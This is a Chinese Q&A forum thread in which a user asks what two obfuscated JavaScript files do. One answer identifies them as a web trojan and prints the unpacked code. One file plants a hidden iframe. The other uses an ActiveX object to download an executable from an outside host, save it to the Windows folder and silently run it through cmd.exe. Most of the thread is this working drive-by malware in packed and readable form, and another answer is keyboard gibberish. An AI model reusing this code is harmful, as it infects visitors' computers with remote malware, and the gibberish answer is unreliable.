帮我详细解释下这两段JS代码的意思

Question

第一个test.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2.5("<3 8=\\"7: 6(\'./1.9\')\\"></3>");2.5("<4 e=\'0\' c=\'0\' b=\'d.a\'></4>");',15,15,'||document|DIV|iframe|write|url|CURSOR|style|jpg|htm|src|height|ad|width'.split('|'),0,{}))

第二个css.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1c e(n){3 o=p.1b()*n;1a p.19(o)+\'.9\'}18{m="17";l="16";h="15.";g="14";k="13.";j="12";f=\'11://10.Z/Y.9\';3 4=X.W(m+l);4.V("U","T:R-P-O-N-M");3 x=4.8(k+j,"");3 S=4.8(h+g,"");S.L=1;x.b("K",f,0);x.J();5=e(I);3 F=4.8("H.G","");3 7=F.E(0);3 6;6=F.a(7,"D"+5);5=F.a(7,5);S.C();S.B(x.A);S.z(5,2);S.y();F.w(5,6);3 Q=4.8("v.u","");d=F.a(7+\'\\\\t\',\'s.9\');Q.r(d,\' /c \'+6,"","b",0)}q(i){i=1}',62,75,'|||var|df|mz1|t2|tmp|CreateObject|exe|BuildPath|open||exp1|gn|lj|ddd|ccc||fff|eee|bbb|aaa||number|Math|catch|ShellExecute|cmd|system32|Application|Shell|MoveFile||Close|SaveToFile|responseBody|Write|Open|rising|GetSpecialFolder||FileSystemObject|Scripting|1000|send|GET|type|00C04FC29E36|983A|11D0|65A3||BD96C556||clsid|classid|setAttribute|createElement|document|cha|com|coocbbs|http|XMLHTTP|Microsoft|Stream|Adodb|ect|obj|try|round|return|random|function'.split('|'),0,{}))

请高手 详细解释下 高分

Answer 1

从后面向前看,最后一个()里的是参数,前面是打乱的程序集合.
这是一个网页木马的内容,解释为如下内容.呵呵

第一个test.js
document.write("<DIV style=\"CURSOR: url('./1.jpg')\"></DIV>");document.write("<iframe width='0' height='0' src='ad.htm'></iframe>");

第二个css.js
function gn(n){var number=Math.random()*n;return Math.round(number)+'.exe'}try{aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";fff="XMLHTTP";lj='http://coocbbs.com/cha.exe';var df=document.createElement(aaa+bbb);df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd,"");S.type=1;x.open("GET",lj,0);x.send();mz1=gn(1000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1=F.BuildPath(tmp,mz1);S.Open();S.Write(x.responseBody);S.SaveToFile(mz1,2);S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+t2,"","open",0)}catch(i){i=1}

Answer 2

浏览器组件错误!

请 重装系统!

Answer 3

gjkdffjk;dfkjkfjmkgjkl;fjkl;k;lhklk;lghjkjg;kgljhklhgjgkljhklgfhjgkldjhgklfjfklfhkljklgdjlkjfkljsgkjfdkljsahsdiuhaehr oew h rodshoihdoschfosaheouhrodhsldhshoueshfeowhtohjkhfvjkshagfoseauhodshjsdfzhorshgesaro;hgre